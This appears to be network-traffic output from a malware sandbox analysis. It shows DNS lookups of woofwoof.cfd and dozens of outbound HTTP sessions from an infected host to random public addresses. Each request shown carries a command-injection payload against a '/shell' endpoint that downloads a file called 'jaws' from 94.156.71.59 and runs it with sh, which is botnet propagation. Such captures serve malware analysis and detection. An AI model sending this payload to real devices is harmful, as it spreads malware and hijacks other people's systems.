Jun 10, 2024 15:38:20.150571108 CEST	8.8.8.8	192.168.2.13	0xcb81	No error (0)	woofwoof.cfd	94.156.71.59	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:20.150571108 CEST	8.8.8.8	192.168.2.13	0xcb81	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:21.005785942 CEST	8.8.8.8	192.168.2.13	0x32e0	No error (0)	woofwoof.cfd	94.156.71.59	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:21.005785942 CEST	8.8.8.8	192.168.2.13	0x32e0	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:21.881602049 CEST	8.8.8.8	192.168.2.13	0x8357	No error (0)	woofwoof.cfd	94.156.71.59	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:21.881602049 CEST	8.8.8.8	192.168.2.13	0x8357	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:31.376678944 CEST	8.8.8.8	192.168.2.13	0x1b28	No error (0)	woofwoof.cfd	94.156.71.59	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:31.376678944 CEST	8.8.8.8	192.168.2.13	0x1b28	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:40.873334885 CEST	8.8.8.8	192.168.2.13	0x17dc	No error (0)	woofwoof.cfd	94.156.71.59	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:40.873334885 CEST	8.8.8.8	192.168.2.13	0x17dc	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:41.728765011 CEST	8.8.8.8	192.168.2.13	0x5b42	No error (0)	woofwoof.cfd	94.156.71.59	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:41.728765011 CEST	8.8.8.8	192.168.2.13	0x5b42	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:42.577411890 CEST	8.8.8.8	192.168.2.13	0xf4be	No error (0)	woofwoof.cfd	94.156.71.59	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:42.577411890 CEST	8.8.8.8	192.168.2.13	0xf4be	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:52.076162100 CEST	8.8.8.8	192.168.2.13	0xeb7d	No error (0)	woofwoof.cfd	94.156.71.59	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:52.076162100 CEST	8.8.8.8	192.168.2.13	0xeb7d	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:52.926608086 CEST	8.8.8.8	192.168.2.13	0x6d24	No error (0)	woofwoof.cfd	94.156.71.59	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:52.926608086 CEST	8.8.8.8	192.168.2.13	0x6d24	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:53.780206919 CEST	8.8.8.8	192.168.2.13	0x119b	No error (0)	woofwoof.cfd	94.156.71.59	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:53.780206919 CEST	8.8.8.8	192.168.2.13	0x119b	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:54.879795074 CEST	8.8.8.8	192.168.2.13	0xd19e	No error (0)	woofwoof.cfd	94.156.71.59	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:54.879795074 CEST	8.8.8.8	192.168.2.13	0xd19e	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:55.730822086 CEST	8.8.8.8	192.168.2.13	0x391c	No error (0)	woofwoof.cfd	94.156.71.59	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:38:55.730822086 CEST	8.8.8.8	192.168.2.13	0x391c	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:39:05.221232891 CEST	8.8.8.8	192.168.2.13	0xa6b4	No error (0)	woofwoof.cfd	94.156.71.59	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:39:05.221232891 CEST	8.8.8.8	192.168.2.13	0xa6b4	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:39:14.718079090 CEST	8.8.8.8	192.168.2.13	0x7c3a	No error (0)	woofwoof.cfd	94.156.71.59	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:39:14.718079090 CEST	8.8.8.8	192.168.2.13	0x7c3a	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:39:15.551284075 CEST	8.8.8.8	192.168.2.13	0xfed4	No error (0)	woofwoof.cfd	94.156.71.59	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:39:15.551284075 CEST	8.8.8.8	192.168.2.13	0xfed4	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:39:25.038773060 CEST	8.8.8.8	192.168.2.13	0x4874	No error (0)	woofwoof.cfd	94.156.71.59	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:39:25.038773060 CEST	8.8.8.8	192.168.2.13	0x4874	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:39:34.534562111 CEST	8.8.8.8	192.168.2.13	0xf27c	No error (0)	woofwoof.cfd	94.156.71.59	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:39:34.534562111 CEST	8.8.8.8	192.168.2.13	0xf27c	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:39:44.024555922 CEST	8.8.8.8	192.168.2.13	0x63bc	No error (0)	woofwoof.cfd	94.156.71.59	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:39:44.024555922 CEST	8.8.8.8	192.168.2.13	0x63bc	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:39:53.519843102 CEST	8.8.8.8	192.168.2.13	0x1954	No error (0)	woofwoof.cfd	94.156.71.59	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:39:53.519843102 CEST	8.8.8.8	192.168.2.13	0x1954	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:39:54.401798010 CEST	8.8.8.8	192.168.2.13	0x7036	No error (0)	woofwoof.cfd	94.156.71.59	A (IP address)	IN (0x0001)	false
Jun 10, 2024 15:39:54.401798010 CEST	8.8.8.8	192.168.2.13	0x7036	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.13	37862	203.54.242.166	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.745868921 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.13	32824	70.109.71.255	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.747936964 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.13	35674	151.218.172.48	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.750932932 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.13	58648	50.13.193.163	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.753726006 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.13	53434	70.156.171.43	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.756000996 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.13	43434	57.244.132.164	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.758232117 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.13	35872	194.55.24.22	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.760581017 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.13	50134	102.230.19.253	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.762944937 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.13	45956	20.2.48.78	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.765228987 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.13	60126	88.157.63.21	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.767523050 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.13	39338	193.5.227.125	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.769857883 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.13	49156	181.171.108.67	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.772200108 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.13	54128	115.56.153.54	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.774509907 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.13	59898	213.227.25.210	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.776818037 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.13	59220	32.111.100.187	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.779103994 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.13	37506	115.165.178.143	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.781383991 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.13	39218	9.203.151.161	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.783783913 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.13	40246	96.121.230.115	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.786107063 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.13	46042	31.24.128.114	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.788491011 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.13	41002	173.150.225.180	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.790905952 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.13	52842	181.232.47.252	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.793176889 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.13	37488	86.102.128.211	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.795427084 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.13	39842	13.159.171.238	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.797691107 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.13	42016	195.50.200.227	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.799999952 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.13	47840	99.27.23.33	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.802263021 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.13	35958	158.214.75.80	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.804503918 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.13	40556	84.162.2.5	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.806757927 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.13	35328	51.33.7.198	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.809083939 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.13	54380	167.251.162.140	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.811338902 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.13	55620	46.11.146.222	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.813572884 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.13	53776	78.199.201.121	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.815834999 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.13	40194	111.31.234.213	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.818135023 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.13	48502	145.193.92.118	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.820455074 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.13	34326	161.147.107.200	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.822693110 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.13	48068	189.244.26.215	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.824954987 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.13	51382	160.158.220.221	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.827151060 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.13	35066	74.221.113.140	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.829282045 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.13	53462	220.219.206.99	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.831568003 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.13	51492	154.68.192.29	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.833827019 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.13	40004	184.225.110.223	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.836086035 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.13	34216	39.251.150.235	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.838365078 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.13	33900	37.242.196.25	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.840660095 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.13	49276	219.24.143.221	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.842964888 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.13	60926	20.163.218.116	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.845253944 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.13	58522	92.126.239.180	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.847522974 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.13	49620	161.106.196.70	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.849795103 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.13	45994	120.127.248.215	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.852063894 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.13	49022	80.246.211.214	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.854315996 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.13	43560	24.223.44.225	80

